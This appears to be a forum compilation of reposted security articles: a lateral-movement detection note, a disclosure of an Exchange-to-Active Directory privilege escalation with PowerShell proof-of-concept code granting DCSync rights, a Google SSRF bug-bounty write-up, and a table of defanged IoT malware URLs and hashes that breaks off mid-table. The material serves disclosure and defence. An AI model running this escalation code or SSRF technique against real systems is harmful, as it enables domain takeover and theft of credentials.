HTTPS. This may involve diving deeper into SSL/TLS certificates in your organization, so approach that with careful planning. Key Takeaways Preventing malicious lateral movement is just as important as preventing the initial breach. Limiting this movement helps security teams “stop the bleeding” during an incident and prevent it from becoming a full scale breach. Detection of this threat is difficult as WMI processes are noisy, but a solid understanding of your network makes it much easier. Taking action against this threat is a great way to defend your organization and stop a breach in its tracks! Sursa: https://redcanary.com/blog/lateral-movement-winrm-wmi/

Exchange-AD-Privesc This repository provides a few techniques and scripts regarding the impact of Microsoft Exchange deployment on Active Directory security. This is a side project of AD-Control-Paths, an AD permissions auditing project to which I recently added some Exchange-related modules. General considerations For pentesters looking to take control of an AD domain, Exchange is a valid intermediary target. The servers are much less secured than domain controllers by default and the control groups are distinct in the usual permissions models, which provides numerous alternative targets. They are also more difficult to migrate and business critical, so organizations often adopt a slower migration process for Exchange than for AD and do not specifically harden the servers. Exchange deployment on an Active Directory domain is an interesting case. Many attributes and classes are added to the schema, security groups are created and DACL on some AD objects are heavily modified. Basically, you can select among 3 permissions models: RBAC Split (recommended and most commonly deployed) Shared permissions (default) AD Split Particularly, DACLs for RBAC Split and Shared models are enumerated here: https://technet.microsoft.com/en-us/library/ee681663(v=exchg.150).aspx . High value targets: Exchange Trusted Subsystem and Exchange Windows Permissions groups, which are trustees for many ACE added during deployment on AD objects. Exchange servers: they are members of Exchange Trusted Subsystem and Exchange Windows Permissions groups. They can be compromised using many more techniques than domain controllers: local administrators domain accounts, Kerberos delegation, SMB relay, RODC replication, etc. The usual stuff. Organization admins: they are part of the local administrators group on Exchange servers. They also have full control on the OU containing the Exchange security groups. They can launch service/psexec/runas/... under computer identity/NetworkService/LocalSystem to control Exchange Trusted Subsystem and Exchange Windows Permissions SIDs. 1. Domain object DACL privilege escalation A privilege escalation is possible from the Exchange Windows permissions (EWP) security group to compromise the entire prepared Active Directory domain. DISCLAIMER: This issue has been responsibly disclosed to MSRC in October 2017 and after a few back and forth emails, they decided it was working as intended and would not fix it. Description of the issue When preparing Exchange 2010/2013/2016 installation in Shared permissions (default) or RBAC split permissions, some ACEs are positioned on the domain object for the Exchange Windows Permissions security group. This happens during the "Setup /PrepareDomain" command. Two ACEs on the domain object are missing the INHERIT_ONLY_ACE bit in the Flags field. This is their SDDL representation : (OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;<SID of EWP>) (OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;<SID of EWP>) Notice the missing 'IO' (inherit_only) flag. As a matter of fact, INHERITED_OBJECT_TYPE ACE effectively apply to the object itself when the inherit_only flag is not set. This is how they are documented on Technet, so it is definitely missing that information: Account ACE type Inheritance Permissions On property/ Applies to Comments Exchange Windows Permissions Allow ACE All WriteDACL / user Exchange Windows Permissions Allow ACE All WriteDACL / inetOrgPerson This is how they appear in the GUI (DSA console), which is also missing that information: The issue can be confirmed in the "Effective Access" tab of the domain object when specifying EWP. Coincidentally, INHERITED_OBJECT_TYPE ACE created with DSA console always have the IO flag. Creating a 'self and specific descendents', INHERITED_OBJECT_TYPE ACE is only possible programmatically and only viewable programmatically. Technical consequence The Allow permission to WriteDACL is granted to the Trustee on the domain object itself and not only on its user/inetOrgPerson descendants, effectively giving complete control to anyone with the Exchange Windows Permissions SID in its token. Expected behavior The Allow permission to WriteDACL should only be given on child objects matching the INHERITED_OBJECT_TYPE Guid. It is supposed to only apply to user or inetOrgPerson classes. This is not consistent with the other INHERITED_OBJECT_TYPE ACEs on the domain object for the same Trustee, which all have the INHERIT_ONLY_ACE bit in the Flags field. Security Consequence A privilege escalation is possible from the Exchange Windows permissions (EWP) security group to compromise the entire prepared Active Directory domain. Just set the Ds-Replication-Get-Changes-All extended right on the domain object. This is enough to use a DRSUAPI replication tool ala DCSync to get all the domain secrets (Kerberos keys, hashes, etc.). You can control the SID of the EWP group from Organization management, from Account operators or from any Exchange server. Interestingly, the RBAC system is proxified through EWP so a privilege escalation is possible from the Active Directory Permissions RBAC role to compromise the entire prepared Active Directory domain. Proof of concept 1: Set-Acl (or with DSA console) From an Organization Management member account, add yourself to Exchange Windows Permissions. This is possible by default (see the above technet page). $id = [Security.Principal.WindowsIdentity]::GetCurrent() $user = Get-ADUser -Identity $id.User Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members $user RELOG to update groups in your token then give yourself Ds-Replication-Get-Changes-All extended right on the domain object. $acl = get-acl "ad:DC=test,DC=local" $id = [Security.Principal.WindowsIdentity]::GetCurrent() $user = Get-ADUser -Identity $id.User $sid = new-object System.Security.Principal.SecurityIdentifier $user.SID # rightsGuid for the extended right Ds-Replication-Get-Changes-All $objectguid = new-object Guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 $identity = [System.Security.Principal.IdentityReference] $sid $adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" $type = [System.Security.AccessControl.AccessControlType] "Allow" $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" $ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType $acl.AddAccessRule($ace) Set-acl -aclobject $acl "ad:DC=test,DC=com" Proof of concept 2: RBAC Add-ADPermission The following Powershell code, executed by a user account with the RBAC role Active Directory Permissions, sets the Ds-Replication-Get-Changes-All extended right on the domain object. $id = [Security.Principal.WindowsIdentity]::GetCurrent() Add-ADPermission "DC=test,DC=local" -User $id.Name -ExtendedRights Ds-Replication-Get-Changes-All Workaround fix Use the Fix-DomainObjectDACL.ps1 Powershell script in this repository. Read it, test it, use it at your own risk. By default, it checks the two faulty ACE, this can be done by any user. Use with -Fix switch with Domain Admins privileges to set the inherit_only missing flags. Another option is doing it manually with LDP. Bind as a Domain Admin account with the usual precautions, as you will change the domain object DACL. Locate the 2 faulty ACE in the DACL of the domain object: you can sort by Trustee to see Exchange Windows Permissions, there will only be 2 ACE with "Write DACL,..." Rights. Check the 'Inherit only' box in their ACE flags field. Sursa: https://github.com/gdedrouas/Exchange-AD-Privesc

Into the Borg – SSRF inside Google production network July 20, 2018 | 5 Comments Intro – Testing Google Sites and Google Caja In March 2018, I reported an XSS in Google Caja, a tool to securely embed arbitrary html/javascript in a webpage. In May 2018, after the XSS was fixed, I realised that Google Sites was using an unpatched version of Google Caja, so I looked if it was vulnerable to the XSS. However, the XSS wasn’t exploitable there. Google Caja parses html/javascript and modifies it to remove any javascript sensitive content, such as iframe or object tags and javascript sensitive properties such as document.cookie. Caja mostly parses and sanitizes HTML tags on the client side. However, for remote javascript tag (<script src=”xxx”>), the remote resource was fetched, parsed and sanitized on the server-side. I tried to host a javascript file on my server (https://[attacker].com/script.js) and check if the Google Sites server would fall for the XSS when parsed server-side but the server replied that https://[attacker].com/script.js was not accessible. After a few tests, I realised that the Google Sites Caja server would only fetch Google-owned resources like https://www.google.com or https://www.gstatic.com, but not any external resource like https://www.facebook.com. That’s a strange behavior because this functionality is meant to fetch external resources so it looks like a broken feature. More interestingly, it is hard to determine whether an arbitrary URL belongs to Google or not, given the breadth of Google services. Unless… Finding an SSRF in Google Whenever I find an endpoint that fetches arbitrary content server-side, I always test for SSRF. I did it a hundred times on Google services but never had any luck. Anyway the only explanation for the weird behavior of the Google Caja server was that the fetching was happening on the internal Google network and that is why it could only fetch Google-owned resources but not external resources. I already knew this was a bug, now the question was whether it was a security bug! It’s very easy to host and run arbitrary code on Google servers, use Google Cloud services! I created a Google App Engine instance and hosted a javascript file. I then used the URL of this javascript file on Google Sites as a external script resource and updated the Google Sites page. The javascript was successfully fetched and parsed by Google Caja server. I then checked my Google App Engine instance logs to see from where the resource was fetched and it came from 10.x.x.201, a private network IP! This looked very promising. I used the private IP as the url for the Google Sites javascript external resource and waited for the moment of truth. The request took more than 30 seconds to complete and at that time I really thought the request was blocked and I almost closed the page since I never had any luck with SSRF on Google before. However, when Google Caja replied, I saw that the reply size wasn’t around 1 KB like for a typical error message but 1 MB instead! One million bytes of information coming from a 10.x.x.x IP from Google internal network, I can tell you I was excited at this point! 🙂 I opened the file and indeed it was full of private information from Google! \o/ Google, from the inside First I want to say that I didn’t scan Google’s internal network. I only made 3 requests in the network to confirm the vulnerability and immediately sent a report to Google VRP. It took 48 hours to Google to fix the issue (I reported it on a Saturday), so in the meantime I couldn’t help but test 2-3 more requests to try to pivot the SSRF vulnerability into unrestricted file access or RCE but without luck. The first request was to http://10.x.x.201/. It responded with a server status monitoring page of a “Borglet”. After a Google search, I could confirm that I was indeed inside Borg, Google’s internal large-scale cluster management system (here is a overview of the architecture). Google have open sourced the successor of Borg, Kubernetes in 2014. It seems that while Kubernetes is getting more and more popular, Google is still relying on Borg for its internal production infrastructure, but I can tell you it’s not because of the design of Borg interfaces! (edit: this is intended as a joke 😛 ) The second request was to http://10.x.x.1/ and it was also a monitoring page for another Borglet. The third request was http://10.x.x.1/getstatus, a different status monitoring page of a Borglet with more details on the jobs like permissions, arguments. Each Borglet represents a machine, a server. On the hardware side, both servers were using Haswell’s CPU @2.30GHz with 72 cores, which corresponds to a set of 2 or 3 Xeon E5 v3. Both servers were using the CPUs at 77%. They had 250GB of RAM, which was used at 70%. They had 1 HDD each with 2TB and no SSD. The HDD were almost empty with only 15GB used, so the data is stored elsewhere. The processing jobs (alloc and tasks) are very diverse, I believe this optimizes ressource usage with some jobs using memory, others using CPU, network, some with high priority, etc… Some services seem very active : Video encoding, Gmail and Ads. That should not be surprising since video processing is very heavy, Gmail is one of the main Google services and Ads is, well, Google’s core business. 😉 I didn’t see Google Sites or Caja in the jobs list, so either the SSRF was going through a proxy or the Borglet on 10.x.x.201 was from a different network than the 10.x.x.201 IP I saw in my Google App Engine instance logs. Regarding the architecture, we can find jobs related to almost all of the components of the Google Stack, in particular MapReduce, BitTable, Flume, GFS… On the technology side, Java seems to be heavily used. I didn’t see any mention of Python, C++, NodeJS or Go, but that doesn’t mean it wasn’t used so don’t draw conclusions. 😛 I should mention that Borg, like Kubernetes, relies on containers like Docker, and VMs. For video processing, it seems they are using Gvisor, a Google open-source tool that looks like a trade-off between containers performance and VMs security. Parameters gives some information on how to reach the applications through network ports. On Borg, it seems that all applications on a server share the same IP address and each has some dedicated ports. Apps arguments were the most fun part for me because it is almost code. I didn’t find Google Search secret algorithm but there was some cool queries like this: MSCR(M(Customer.AdGroupCriterion+Customer.AdGroupCriterion-marshal+FilterDurianAdGroupCriterion+FilterNeedReviewAdGroupCriterion+GroupAdGroupCriterionByAdGroupKey+JoinAdGroupData/MakeUnionTable:3)+M(JoinAdGroupData/MakeUnionTable:2)+M(Customer.AdGroup+Customer.AdGroup-marshal+FilterDurianAdGroup+ParDo(AdGroupDataStripFieldsFn)+JoinAdGroupData/MakeUnionTable)+R(JoinAdGroupData/GroupUnionTables+JoinAdGroupData/ConstructJoinResults+JoinAdGroupData/ExtractTuples+ExtractCreativeAndKeywordReviewables)) If you wonder what’s Gmail system user, it’s gmail@prod.google.com There is also a user “legal-discovery@prod.google.com” that has permission “auth.impersonation.impersonateNormalUser” on “mdb:all-person-users”. (edit: for clarification, I just saw these strings close to each other in a big array and assumed that’s what it meant) There was also a little bit of history which showed that most jobs where aborted before finishing. At last, there was a lot of url to other servers or applications endpoints. In particular, I tried to access a promising-looking http://wiki/ url but it didn’t work. I tested a /getFile?FileName=/sys/borglet/borglet.INFO url but got an unauthorized response. I also tried to change the FileName parameter but got error messages. Google VRP response I reported the issue on Saturday May 12, 2018, and it was automatically triaged as a P3 (medium priority) issue. On Sunday I sent an email to Google Security that they might want someone to have a look at this. On Monday morning the issue was escalated to P0 (critical) then later decreased to P1. On Monday night the vulnerable endpoint was removed and the issue fixed. It’s not easy to determine the impact of an SSRF because it really depends on what’s in the internal network. Google tends to keep most of its infrastructure available internally and uses a lot of web endpoints, which means that in case of a SSRF, an attacker could potentially access hundreds if not thousands of internal web applications. On the other hand, Google heavily relies on authentication to access resources which limits the impact of a SSRF. In this case, the Borglet status monitoring page wasn’t authenticated, and it leaked a lot of information about the infrastructure. My understanding is that in Kubernetes, this page is authenticated. Google VRP rewarded me with $13,337, which corresponds to something like unrestricted file access! They explained that while most internal resources would require authentication, they have seen in the past dev or debug handlers giving access to more than just info leaks, so they decided to reward for the maximum potential impact. I’d like to thank them for the bounty and for their quick response. I hope they won’t beat me with a stick for disclosing any of this. 🙂 That’s it for this story, I hope you enjoyed it as much I did and feel free to comment! Sursa: https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/

IoT-MalwareTracker This is a simple IoT malware tracker which i'm trying to build. I'm just trying to update the information here with whatever free time i have. The passwords to all the samples is infected29A Date URL sha256 Country AS 22nd July 2018 hxxp://159[.]89[.]30[.]133/weed.sh 91a512ced0757caae2b22a0bf320c00a88d3e5b01e55e1b77218895f62ff06e0 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedntpd fd2af786e791343489fb7a45958d4ecff354a908ace4d4894d5de41960b41636 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedsshd cfe4f8f9bd48ad5111a16b8525dc34111b73b6d064c37d787a4c2d0e40ab7523 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedopenssh cc58874b59b75b578f988cb2d0b547541fc703a4a1e3fe46f4e3836dc3c262ee United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedbash 7e5b33144ec3bc6ad66ab3fa18b026e2a9717b49cf0325555aaa973b6c05fcfb United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedtftp 8a10ef274a48606ca16d84f58f083c508c70ed97116a2eea432650d2995b750c United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedwget 176d1b9d980001665c172ec82769ae8d2712c35077443aa058ade0725fb90519 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedcron b44fe55c902b5410649501966277ae735eb70a1e3fd16f3d0e70302d32412303 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedftp a08dd92eef21adf7a71e6415c80e16ea3185c126fa6340bdeacd7f30d60e9791 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedpftp 4f76f7720cfecfe4b8ecc57a375e02de7645f58b5ad0e0dd5c5df277dbca911a United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedsh 056c0f7ca8baab24239817c5b8dc77e1f3db3f3c4775f1b512d6f8215e7a61fb United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedshit 34e26e4dedfa778dc9e23c31d308f7b31a91cd91f35d0b74a697245c689004fd United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedapache2 69009ff729dd2b832a10522dab4843849d33dd186b5f6d94e9a86a7fa81d5df6 United States AS14061 22nd July 2018 hxxp://51[.]15[.]242[.]224/sus.sh e9928a83c2ca67dcd984f07b3cd61e1685009eb5791b2f3cec4c4e92fd2fcfd9 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.ntpd 950cef23132aaa9ae1f1876071be8198dc75ce860c62bfae539f7701524620ef France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.sshd 7d6bbbf531a6635a490f225a1e07dd13b298c22ae596bfb56dfa9ec5daaf8bde France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.openssh ae007a08d731f30e3da9db0e8cc6a7c9266ddb09c40aaa84fa3d437e9b41ba7d France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.bash fc096daaea7c9435c5695f13e3c13e2fddd6783b51acea91cad6a1761e2ac59b France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.tftp 593c73769b4dcda95c7adeac9cf987eda0cf957c54e7631d324e73ffda66353f France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.wget 8a2a5152659d73a70e7ef51179b5fc65ba6f32effe605b8266b6a7ae19302a12 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.cron 7935b2bd5a787dc25d5546517d31aafca2a90f5a87848fa101a063990139dab1 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.ftp b48ee92f12fe2c66e6d992df309274abdfa35deebc01457b9dcd5b8304ff1c4d France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.pftp 1aa9ce761ff20adbf89479fe9915fce99c7ec6b426758a28d63fb48adb6e15a2 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.sh b6ac90dd0f62bacffc0ac6c62d5803a3540e20c750db81676ad5b9c458fbe698 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.nut 84257986F606F34E5B2C60ABBF8447A7118FF7457E05BBD80FFE4FA8E149BC33 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.apache2 20c18f126a894e0c339c211db2d0a3ce98e025e9d5126ccbcd94799218b7adac France AS12876 22nd July 2018 hxxp://178[.]128[.]69[.]34/bins.sh c784d4c6c68d1e67bc1239737290a280a76355f9716e5eac11a51be37782c6c8 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/earyzq 4253b2c5f3ad806904092d1ceb53cdd19edb6f135c0c35087e81207cca94ef91 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/cemtop 0293585ae97eab40b6308a3aca59d52a4ba7cfb87ad8d3058d57f97869b09b1e United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/vtyhat 043279fe16221b562dd01a014a4432ea3ff96744c284734788ea12e47ae9ff61 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/vvglma bfcc76e87bbfd966e0dd374bd391626d4b8795a4b868aa41df4bda9b5786e078 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/nvitpj eff67d9031023f3b458426464f093c617a79825c40c4e400e34f82c1d1d35b5b United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/razdzn 47a57f1b41bbcf745fff2952a387f11ab30f2469e0858461381b604bdd16d2fb United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/lnkfmx e440843aa8871f42a0d6603ca1d24fb9fc4933b5c4ce8767709b6a752a739d81 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/qvmxvl 224a499df8fd0f058cebb6182786b5cf69c21ddbf7d29bc5abce7d0cd2a1aa73 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/ajoomk 2df6038cf8fd04967b01f9a7c7c7bdf751729968aff390837c4256df62cc9f5d United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/fwdfvf d4b0fb39f9633fab20df70580a64966d5d1194764cf52a12c4706d9f93ee007f United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/atxhua 324578c1cecedde647533d44311aab8980f3244cee7bac19312ead46174e72e4 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/qtmzbn 76443e252214b6f72db1c4ecfdbd25b52a8c5060838b1bb098e85b9b57b483d4 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/8UsA.sh 6136aefb04b8a2738d891950e54b090d636a7646fc127b0945cdb31d10668f25 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.x86 144041b308de97ac2ea0ad2b0b6c9d6a34b28568aea96928e51e06d93b7badf8 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.mips af57f0667f34d8fd934593b38b23adf9b04ce682866074b09f2bdd9bb5990750 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.mpsl 79de302ed01caa842f55c3cfe62b8cca26f121c05d02216ee0ea477b99eb648f United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm fe9e7547792a4921cac9525f7398b1e7eeda5f78963d47c67bac98f5cd5221e6 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm5 57e16cfe965e07f965c5a753c531aa6854051ce785926e3aafa598e16862f7d1 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm6 3c087811f356c9b1ccadf29df7f83216cf04c0d868a67343f9b2b1b635c2565d United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm7 7c87634abcfccba1c1953fec54a0525baa303efcafea7b7b2f77f4bc7383d98e United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.ppc b81faea9925ef49076bc33d9611efc239a50821511536bdebbdbdee9b54631e6 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.m68k 50b18e211c5e87c0d83b01a04f2ca71d977cb8f880a5cf3d25b63de265d813c2 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.sh4 e06aa7b9d759fe67daf13904345a4674c41f2f3c92928ebdb2d663fa8d7d994d United States AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.x86 467553aa6428811d437e7a72cd32bb6697dee4f5ac27b2020443e879785f6e3e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.mips 754cbd21ea8377e4b64215be00e22ceb7f8da2ae862fdde3d5e472dfe209aa05 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.mpsl 2915111b6f65b6b95aeff2b0114e0054a689254b3b6488c72a84245b97f610e5 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm5 8549458fd199c5aa26348c6cea5c9c40ff4909375250d49798db6264e5b8be0e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm6 83e895e14889abe31719aa7f3c5b09ebbb8e3723ac1593f542909adc38a2013e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm7 95b6ae6af1d4789660c48bd61cdb58ece0e83d58d5d5d1ec329849aece808bf2 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.ppc 34d9bf5ed619ddfa2e98f57e1ede36d391425d273c86cfb4701aadb46d635e57 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.m68k 333ddfb652baa92ecb2927ba61cafa2130f1a7616643f024ac2d904d52ec87a2 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.sh4 25e886840ce427ab9ac9e9341272df389f0d651a84c3b670a71874efaa1e59e5 United Kingdom AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/8UsA.sh e80c4bab3dc21ca11637aa1c0e9addccc8ddd4f33ddf8b947a28670e4cc44c35 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.x86 c0f2bf1c39868bca880c844f71c05b945c1c30c9edaa02b3f97c94fce3311538 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.mips b56ee4a8a8414536a7c77bd7392e4ebff35028098ccb29a01db806358cf87d1d Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.mpsl 7ce6b1fcb4719e1a705578d4ee22fe69e505d911af00e1d9d8762a7ed992c207 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm5 40dc3586130fbbcf0ae4539a8261b6335f5495e6eaed94e0296bd2b48a5b86b3 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm6 10ef62df812e837d4f79edaf58d84d2333994d15365b2b15e40f79f5b6d4847c Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm7 fa048253c10a16610e571e1c92be90356d8ea51b6873be1605f715cd8d8bda09 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.ppc cab9d7ea81cbe4c3aef8cdba0154252b1af570d2c0dc99aa189de54b1842288d Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.m68k 5aafcdcbf5858d2fb62624fc71458ef6bd49984d32fa170152b1491add604dbc Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.sh4 c70b026973284c72ea1f52fc47b0c2f52c7822dc1c2b0d55393806e9c67248f1 Netherlands AS14061 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.x86 e647f3a128b00681e89106f5170f12ea1b726caf249f74466fe3c7577dd9af42 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.mips 06691b42200621bcb4a0a4c03683d55a17aee8e63ea1dd5cdd5abc86e1f96ca7 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.mpsl e6a4747c560bd44d1376d90f704dcfd1cff3732790e4af915e2508a619170fb8 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm5 854aaa734b59a036cf7a9b33fa6a907a1980c3df518eebb80ad4b86824f27cbc Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm6 4ef098db29a4bd8ea089fb28c93a4bb334ac75e3a1edc4d518a5a8bc5698233d Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm7 525cf5dba31a16f957911fd758b446406f1913e942cc768da613c2ba36491968 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.ppc 9c30cf9c25c2ae0a5e8ec184c5882e4ed4b26e12d95b4b85ea5d0e3f4479a4b3 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.m68k e347099c77b18d19fdd669d39b2a9305a7bcaa188c3a0407442724e630a17ace Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.sh4 035e98156610701087735e1650ef9b9aff6f8d4bc547e3162fe656c4123a1551 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/bins.sh 1b8ec1fbc0785c1a063aa17f780a392ab9c71d5e533a74100022a89a0e05b5ed Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/ntpd 22def3121c9664dfa04cd5480e4e048e577f62c29c969104ce17e153e347a1c7 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/sshd db58ae8d7f3c9202565bf948eddb0427424a8f0c2e013ca7711a2aca652c25c6 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/openssh 8ce02f3bbfd35cdc3bffc08a34083063bcfdc26ca3c31b04dfde55ddf2d4f8b6 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/bash d603d940d24334ce5672df6d6efe2f91b19ced4ddbc6d2bf722e666c24f19481 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/tftp c99affb7627e137ccd01578081f125d197413ef2f5435ca7fa0f3f2adaf5df61 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/wget 0a3291644a58c2627cbf113ebfdf1157bdb99bcfc37c359305054f3f45c06a1c Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/cron 80442b286d4ed17539f683c052c55d8022660fed99d429b0043c2f42c7d8808f Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192ftp 58e75fe680ffd1a1d78e320eddf42e1186cdb8037a0e71f50d6639959c17f37b Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/pftp 3da09bc0345aa17b20791bc49b83b07cfe7197573f09f51a43064172b93cfdb5 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/sh a88a130ee98c072a296c377bf6485d810d9e0b7e5916685f2aa3d774e07645fc Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/nut 1eceaa03b32d91cb219c43f35e5da0633a60b75bf3dfe38a84ef32959aa7237c Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/apache2 54f1182e7db7cd6343c0bc87ff9adf65b2bd08293d5878efbfa532c1ad29fcf4 Italy AS31034 22nd July 2018 hxxp://159[.]203[.]78[.]145/bins.sh ce041cd1537ba25912aed8a5944cec6c1cb37fa327ab3f67cc875cb4f7caa56e United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.mips e96f54b4ecf71ba0aed3a0c7f12af6c50be5b09eccd1991e6e34a6595713c78d United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.mpsl 8fcb04ed1a81d45d70f359e576f9f75449b733c6232d2c625db83fe6469b9db0 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.sh4 89a9d724aadc9e9b8d7483bb9df2afa11c3eef1ed404ce8ea6dfa9118160c3f7 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.x86 0fbb8bd7b593225bf9c4545b93f6bb543212554da67c3229fdb29f3698776699 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.arm6 355159cfb22ae021aaf8fda0e7b48a8fc4036895c5866e5a41c38e0d1d5c9dd1 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.x32 a075d9ce69e35401ad2ec6088e85df4d0b2f10113d7df25bc3e188df4c0509cc United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.ppc 3164c8d56daa3c24513b6164512bf5923426e939c0557a31b773e4af9ebf2a3c United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.i586 ae1f7f9f1a875d12e68ad7cc48269f7d6c29ca563d6b221cf4186690a237e3c6 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.m68k 